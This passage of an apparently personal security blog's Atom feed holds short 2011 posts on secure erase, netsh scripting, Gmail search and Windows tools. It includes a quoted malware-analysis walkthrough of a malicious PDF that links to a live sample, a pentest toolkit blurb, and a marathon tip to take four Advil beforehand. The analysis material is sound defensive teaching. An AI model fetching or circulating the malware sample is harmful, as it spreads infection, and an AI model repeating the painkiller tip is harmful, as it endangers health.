/&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;http://sourceforge.net/projects/hdparm/&lt;/li&gt;&lt;li&gt;http://cmrr.ucsd.edu/people/Hughes/SecureErase.shtml&lt;/li&gt;&lt;li&gt;https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8643037076555786821?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8643037076555786821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/8643037076555786821'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/secure-erase.html' title='Secure Erase'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-7444948870983494000</id><published>2011-02-17T16:14:00.000+08:00</published><updated>2011-02-17T16:14:23.954+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmdline'/><category scheme='http://www.blogger.com/atom/ns#' term='W7'/><category scheme='http://www.blogger.com/atom/ns#' term='W2K8'/><title type='text'>Multiple IP Addresses with Windows OS</title><content type='html'>Here's the batch script to help configure multiple IPv4 addresses on a Windows 7 or Windows 2008.&amp;nbsp;Create a batch file like the below:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;netsh in ip add address "eth0" 10.0.0.2 255.0.0.0&lt;br /&gt;netsh in ip add address "eth0" 10.0.0.3 255.0.0.0&lt;br /&gt;netsh in ip add address "eth0" 10.0.0.4 255.0.0.0&lt;br /&gt;netsh in ip add address "eth0" 10.0.0.5 255.0.0.0&lt;br /&gt;netsh in ip add address "eth0" 10.0.0.6 255.0.0.0&lt;br /&gt;[...]&lt;br /&gt;netsh in ip add address "eth0" 10.0.0.226 255.0.0.0&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Or just do a command like:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;for &amp;nbsp;/L %a in (1,1,254) do netsh in ip add address "eth0" 10.0.0.%a 255.255.255.0&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-7444948870983494000?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7444948870983494000'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/7444948870983494000'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/multiple-ip-addresses-with-windows-os.html' title='Multiple IP Addresses with Windows OS'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-5347103922442687598</id><published>2011-02-12T22:34:00.000+08:00</published><updated>2011-02-16T22:36:10.661+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='W2K8'/><title type='text'>Windows Security Event ID</title><content type='html'>A very good reference for Windows Security Event ID:&amp;nbsp;&lt;a href="http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/Default.aspx"&gt;http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/Default.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-5347103922442687598?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5347103922442687598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/5347103922442687598'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/windows-security-event-id.html' title='Windows Security Event ID'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6156712253753707381</id><published>2011-02-12T15:59:00.000+08:00</published><updated>2011-03-12T16:00:02.412+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><title type='text'>Analyzing Suspicious PDF Files With PDF Stream Dumper</title><content type='html'>&lt;a href="http://feedproxy.google.com/~r/zeltser/~3/ceWwdpdMiQ0/3235995383"&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;a href="http://feedproxy.google.com/~r/zeltser/~3/ceWwdpdMiQ0/3235995383"&gt;Analyzing Suspicious PDF Files With PDF Stream Dumper&lt;/a&gt;: "&lt;br /&gt;Targeting a vulnerability in Acrobat Reader is one of the more popular ways of compromising systems nowadays. &lt;a href="http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57"&gt;PDF Stream Dumper&lt;/a&gt; is a free tool for analyzing suspicious PDF files, and is an excellent complement to the tools and approaches I outlined in the &lt;a href="http://zeltser.com/reverse-malware/analyzing-malicious-documents.html"&gt;Analyzing Malicious Documents cheat sheet&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;For this introductory walk-through, I will use a malicious PDF file that &lt;a href="http://contagiodump.blogspot.com/2010/08/malicious-documents-archive-for.html"&gt;I obtained from Contagio Malware Dump&lt;/a&gt;. If you’d like to experiment with this file in an &lt;a href="http://zeltser.com/vmware-malware-analysis/"&gt;isolated laboratory environment&lt;/a&gt;, you’re welcome to &lt;a href="http://zeltser.com/media/archive/9bc1735453963e33ea1857cc25aa5a19.zip"&gt;download the malicious PDF from my server&lt;/a&gt;; the password to the zip file is the word “infected”.&lt;br /&gt;&lt;br /&gt;PDF Stream Dumper is a self-contained program that runs on Microsoft Windows and contains a convenient graphical user interface. The tool contains numerous features. I will only touch upon some of them here.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Examining a PDF File for Suspicious Characteristics&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;After installing PDF Stream Dumper, load the suspicious PDF file into it and start looking around. The tool includes a number of signatures of known PDF exploits. To scan the file, select “Exploits_Scan” from the menu:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggpy9GdBe1qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;In this case, PDFStreamDumper identifies the exploit and specifies where it’s present in the PDF file:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Exploit CVE-2007-5659 - collectEmailInfo - found in stream: 31&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;You can use the left pane of the tool to navigate through the file’s objects to examine their contents. The tool will decode steams where necessary. For instance, viewing the steam in object 31 shows us embedded JavaScript:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggqjwUOR11qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;Another way to locate suspicious objects within the PDF file is to use the tool’s “Search For” feature, which can automatically locate JavaScript, Flash objects among other entities:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggqy1TiK21qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Examining Malicious JavaScript in the PDF File&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;When looking at JavaScript embedded in a PDF object, we can click the “JavaScript_UI” button to bring up the interactive JavaScript viewer and interpreter, which is built into PDF Stream Dumper:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggr2kT61Q1qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;Sometimes, the scripts embedded into PDF files are obfuscated. PDF Stream Dumper allows you to run these scripts using the built-in interpreter, which can help you deobfuscate them.&lt;br /&gt;&lt;br /&gt;In the example we’re examining now, the script isn’t obfuscated. It seems to contain Unicode-encoded text, which is probably shellcode:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggr7cxMl41qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Examining Shellcode Embedded in the PDF File&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Shellcode is typically used to store the payload of the exploit—the malicious code that will be executed on the victim’s system. PDF Steam Dumper provides several tools for understanding the capabilities of the shellcode embedded into the file though its “Shellcode_Analysis” menu.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggrbmQjJP1qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;For example, we can select “scSigs” to emulate the execution of the script using the built-in &lt;a href="http://libemu.carnivore.it/"&gt;LibEmu&lt;/a&gt; engine and look for signatures of the API calls often present in shellcode:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggrg9N5Jj1qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;The tool recognizes the signatures of WriteFile and WinExec. This shellcode probably uses these calls to save and execute a malicious windows executable, which it might download from the Internet or which might be embedded into the PDF file itself.&lt;br /&gt;&lt;br /&gt;We can get another perspective on the shellcode by running it using the built-in iDefense shellcode logger module “sclog”:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://media.tumblr.com/tumblr_lggrmahqmt1qd9o7r.png" /&gt;&lt;br /&gt;&lt;br /&gt;The tool shows us that the shellcode executes the GetFileSize API call. This is often used as part of malicious document files to locate code embedded into the file. Most likely, this shellcode uses GetFileSize to locate the malicious executable embedded into the PDF.&lt;br /&gt;&lt;br /&gt;We now are reasonably certain that we’re dealing with a malicious PDF file that exploits the &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659"&gt;CVE-2007-5659 vulnerability&lt;/a&gt; in Acrobat Reader to extract and run a malicious executable embedded in the PDF. We’d need to perform additional steps to extract and examine that executable, but that is outside the scope of this brief note.&lt;br /&gt;&lt;br /&gt;If you like analyzing malicious programs, take a look at the &lt;a href="http://learnrem.com/"&gt;Reverse-Engineering Malware course&lt;/a&gt; I teach at SANS. If you’re just getting to know malware, you might also like my &lt;a href="http://combatingmalware.com/"&gt;Combating Malware course&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;— &lt;a href="http://zeltser.com/"&gt;Lenny Zeltser&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6156712253753707381?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6156712253753707381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6156712253753707381'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/analyzing-suspicious-pdf-files-with-pdf.html' title='Analyzing Suspicious PDF Files With PDF Stream Dumper'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-779676417058734069</id><published>2011-02-03T13:19:00.001+08:00</published><updated>2011-02-07T13:25:52.015+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='marathon'/><title type='text'>How to hack a Marathon?</title><content type='html'>I never try it yet.&lt;br /&gt;&lt;br /&gt;I read this article, &lt;a href="http://andrewgertig.com/2011/01/how-to-hack-a-marathon-if-you-arent-a-runner/"&gt;How to hack a marathon if you aren’t a runner&lt;/a&gt;, and found that it is very interesting. The author managed to finish the marathon in 4 hours and 28 minutes without training.&lt;br /&gt;&lt;br /&gt;Here's how he hacked it:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Don’t plan on running the whole thing&lt;/li&gt;&lt;li&gt;Take 4 Advil an hour before the race (Not recommended by physicians, but it’s what we did.)&lt;/li&gt;&lt;li&gt;Take a walking break at every mile marker&lt;/li&gt;&lt;li&gt;Eat half a banana whenever you see one&lt;/li&gt;&lt;li&gt;Take two waters at ever water station&lt;/li&gt;&lt;li&gt;Eat no more than 3 Gu energy packs because our stomachs didn’t like them&lt;/li&gt;&lt;li&gt;Take bathroom breaks&lt;/li&gt;&lt;li&gt;Walk every hill&lt;/li&gt;&lt;li&gt;Meet interesting people and use conversation to kill the pain&lt;/li&gt;&lt;li&gt;Put bandaids on your nipples to prevent bleeding&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-779676417058734069?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/779676417058734069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/779676417058734069'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/how-to-hack-marathon.html' title='How to hack a Marathon?'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-1479089136652459188</id><published>2011-02-02T13:06:00.000+08:00</published><updated>2011-02-07T13:17:18.148+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>How much time it takes to download a 2GB MKV file?</title><content type='html'>We all like to download MKV (or other format) movie files. Here's a smart hack on calculating the time it takes to download a 2GB MKV file.&lt;br /&gt;&lt;br /&gt;The download speed depends on the ADSL line speed you subscribe. For example:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Your file is 2GB size.&lt;/li&gt;&lt;li&gt;Your link speed is 2Mbps.&lt;/li&gt;&lt;li&gt;You are estimating 80% link speed, to account for the network overhead.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;So, goto Google search and type this:&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;2GB / ( 2Mbps * 0.8)&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_T6CLQrsBciM/TU9_v6RSHdI/AAAAAAAAH0U/P1BzEJ9CYlw/s1600/2GB+-+%2528+2Mbps+-+0.8%2529+-+Google+Search.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_T6CLQrsBciM/TU9_v6RSHdI/AAAAAAAAH0U/P1BzEJ9CYlw/s1600/2GB+-+%2528+2Mbps+-+0.8%2529+-+Google+Search.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The result shows it is estimating 2.85 hours to complete the download.&lt;br /&gt;&lt;br /&gt;See other examples at&amp;nbsp;&lt;a href="http://stuffphilwrites.com/2011/01/long-image/"&gt;http://stuffphilwrites.com/2011/01/long-image/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-1479089136652459188?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1479089136652459188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/1479089136652459188'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/how-much-time-it-takes-to-download-2gb.html' title='How much time it takes to download a 2GB MKV file?'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_T6CLQrsBciM/TU9_v6RSHdI/AAAAAAAAH0U/P1BzEJ9CYlw/s72-c/2GB+-+%2528+2Mbps+-+0.8%2529+-+Google+Search.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-6909121986794012596</id><published>2011-02-01T12:54:00.019+08:00</published><updated>2011-02-07T13:04:44.920+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GMail'/><title type='text'>10 Advanced GMail Search Examples</title><content type='html'>1. Example: &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;in:inbox label:facebook is:unread&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Search for all unread emails labeled facebook inside inbox.)&lt;/blockquote&gt;2. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; in:anywhere from:peter&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Search for all emails regardless where it’s stored (spam, inbox, trash) received from anyone with the name Peter.)&lt;/blockquote&gt;3. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; is:unread after:2010/06/01 before:2010/07/01&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Search for all unread mails for the month of June. )&lt;/blockquote&gt;4. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; from: peter@emailadress.com has:attachment&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return all emails with attachments sent by peter@emailadress.com)&lt;/blockquote&gt;5. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; in:inbox "meeting"&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Search inbox for any emails with the keyword "meeting" in it.)&lt;/blockquote&gt;6. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; from:peter@emailaddress.com has:attachment filename:zip&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return only emails received from peter@emailaddress.com with .zip attachments.)&lt;/blockquote&gt;7. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; "facebook" -from:@facebookmail.com&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return all emails with the keyword "facebook", excluding those sent by facebook.com)&lt;/blockquote&gt;8. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; to:peter OR cc:peter&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return all emails sent to or carbon copied Peter.)&lt;/blockquote&gt;9. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; label:google OR from:@google.com&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return all emails received from google.com or labeled "google".)&lt;/blockquote&gt;10. Example:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; "meeting" is:chat&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;(Return all chat log files with keyword "meeting" in it.)&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Read more: Gmail Advanced Search - Ultimate Guide http://www.hongkiat.com/blog/gmail-advanced-search-ultimate-guide/&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-6909121986794012596?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6909121986794012596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/6909121986794012596'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/02/10-advanced-gmail-search-examples.html' title='10 Advanced GMail Search Examples'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-856742365747357963</id><published>2011-01-26T15:05:00.001+08:00</published><updated>2011-01-26T15:06:06.982+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><title type='text'>Three Web Attack Vectors Using the Browser</title><content type='html'>&lt;div&gt;Very interesting article on &lt;a href="http://feedproxy.google.com/~r/zeltser/~3/pRlOP8GZfok/2482396597"&gt;Three Web Attack Vectors Using the Browser&lt;/a&gt;: "&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;Three web attack vectors seem to be responsible for the majority of computer attacks that involve a web browser:&lt;/i&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;The attack can incorporate an element of &lt;a href="http://blog.zeltser.com/tagged/social_engineering"&gt;social engineering&lt;/a&gt; to persuade the victim to take an action that compromises security. For instance, the victim can supply data to a phishing site or install a program that will turn out to be malicious.&lt;/i&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;li&gt;&lt;i&gt;The attacker can use the browser as a gateway for attacking web applications via techniques such as &lt;a href="http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)"&gt;cross-site scripting&lt;/a&gt; (XSS), &lt;a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)"&gt;Cross-Site Request Forgery&lt;/a&gt; (CSRF) and &lt;a href="http://www.owasp.org/index.php/Clickjacking"&gt;Clickjacking&lt;/a&gt;.&lt;/i&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;li&gt;&lt;i&gt;The attacker can exploit a vulnerability in the web browser or in local software that the browser can invoke. Such &lt;a href="http://nsslabs.blogspot.com/2010/08/client-side-exploits.html"&gt;client-side exploits&lt;/a&gt; have targeted browser add-ons such as Flash, Adobe Reader and &lt;a href="http://blog.zeltser.com/post/1299666302/java-browser-security-liability"&gt;Java Runtime Environment&lt;/a&gt; (JRE).&lt;/i&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;/ul&gt;&lt;i&gt;Most attacks include one or two of the three techniques. For instance, &lt;a href="http://www.infowar-monitor.net/2010/11/koobface/"&gt;Koobface&lt;/a&gt; worm targets the user (social engineering to click links) and the web application (hijacking &lt;a href="http://blog.zeltser.com/tagged/social_networking"&gt;social networking&lt;/a&gt; site sessions). An attack that combines all elements would be particularly effective (do you know of any examples?).&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;img src="http://media.tumblr.com/tumblr_ldv2icUhX31qd9o7r.png" /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;The following series of posts explores these three web browser attack vectors in greater detail, discussing how enterprises can protect themselves against such attacks:&lt;/i&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.zeltser.com/post/2497630353/targeting-web-browser-user"&gt;&lt;i&gt;Mitigating Attacks on the User of the Web Browser&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;li&gt;&lt;a href="http://blog.zeltser.com/post/2512211013/web-application-attacks-via-browser"&gt;&lt;i&gt;Mitigating Attacks on Web Applications Through the Browser&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;li&gt;&lt;a href="http://blog.zeltser.com/post/2527547617/targeting-web-browser"&gt;&lt;i&gt;Mitigating Attacks on the Web Browser and Add-Ons&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&lt;i&gt; &lt;/i&gt;&lt;/ul&gt;&lt;i&gt;— &lt;a href="http://zeltser.com/"&gt;Lenny Zeltser&lt;/a&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;a href="http://zeltser.com/"&gt;&lt;i&gt;&lt;/i&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-856742365747357963?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/856742365747357963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/856742365747357963'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/three-web-attack-vectors-using-browser.html' title='Three Web Attack Vectors Using the Browser'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-747318817581945783</id><published>2011-01-24T14:43:00.000+08:00</published><updated>2011-01-24T14:43:25.273+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='REM'/><category scheme='http://www.blogger.com/atom/ns#' term='microsoft'/><title type='text'>Attack Surface Analyzer BETA</title><content type='html'>The Attack Surface Analyzer beta is a Microsoft verification tool now available free for everyone to &lt;b&gt;highlight the changes in system state, runtime parameters and securable objects&lt;/b&gt; on the Windows operating system. This analysis helps developers, testers and IT professionals identify the attack surface caused by installing applications on a machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attack Surface Analyzer takes a snapshot of your system state before and after the installation of product(s) and displays the changes to a number of key elements of the Windows attack surface.&amp;nbsp;The tool takes snapshots of an organization's system and compares ("diffing") these to identify changes. The tool does not analyze a system based on signatures or known vulnerabilities; instead, &lt;b&gt;it looks for classes of security weaknesses as applications&lt;/b&gt; are installed on the Windows operating system.&lt;br /&gt;&lt;br /&gt;The tool also gives an overview of the changes to the system Microsoft considers important to the security of the platform and highlights these in the attack surface report. The Microsoft Security Development Lifecycle (SDL) requires development teams to define a given product's default and maximum attack surface during the design phase to reduce the likelihood of exploitation wherever possible. Additional information can be found in the Measuring Relative Attack Surface paper.&lt;br /&gt;&lt;br /&gt;Some of the checks performed by the tool include analysis of changed or newly added files, registry keys, services, ActiveX Controls, listening ports, access control lists and other parameters that affect a computer's attack surface.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download the free tool (x64 and x86) at&amp;nbsp;&lt;a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=e068c224-9d6d-4bf4-aab8-f7352a5e7d45&amp;amp;displaylang=en"&gt;http://www.microsoft.com/downloads/en/details.aspx?FamilyID=e068c224-9d6d-4bf4-aab8-f7352a5e7d45&amp;amp;displaylang=en&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Related article:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/security/sdl/adopt/tools.aspx"&gt;SDL Tools&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-747318817581945783?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/747318817581945783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/27246961/posts/default/747318817581945783'/><link rel='alternate' type='text/html' href='http://myseq.blogspot.com/2011/01/attack-surface-analyzer-beta.html' title='Attack Surface Analyzer BETA'/><author><name>Jet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-27246961.post-8248588632852719476</id><published>2011-01-23T15:16:00.000+08:00</published><updated>2011-01-24T15:24:13.916+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><title type='text'>Inguma – The Penetration Testing &amp; Vulnerability Research Toolkit</title><content type='html'>Inguma is a penetration testing toolkit entirely written in python. The framework includes modules to discover hosts, gather information about, fuzz targets, brute force user names and passwords and, of course, exploits. This program provides numerous tools for information gathering, target auditing and limited exploitation capabilities.&lt;br /&gt;&lt;br /&gt;There are some good docs to get you up at &lt;a href="http://code.google.com/p/inguma/wiki/DocumentationMain"&gt;their wiki site&lt;/a&gt;:&amp;nbsp;Installation Guide,&amp;nbsp;Getting Started,&amp;nbsp;Console Quick Start,&amp;nbsp;GUI Quick Start,&amp;nbsp;Full Documentation. Follow them at &lt;a href="http://ingumadev.blogspot.com/"&gt;Inguma Development&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Download it at&amp;nbsp;&lt;a href="http://code.google.com/p/inguma/"&gt;http://code.google.com/p/inguma/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/27246961-8248588632852719476?l=myseq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 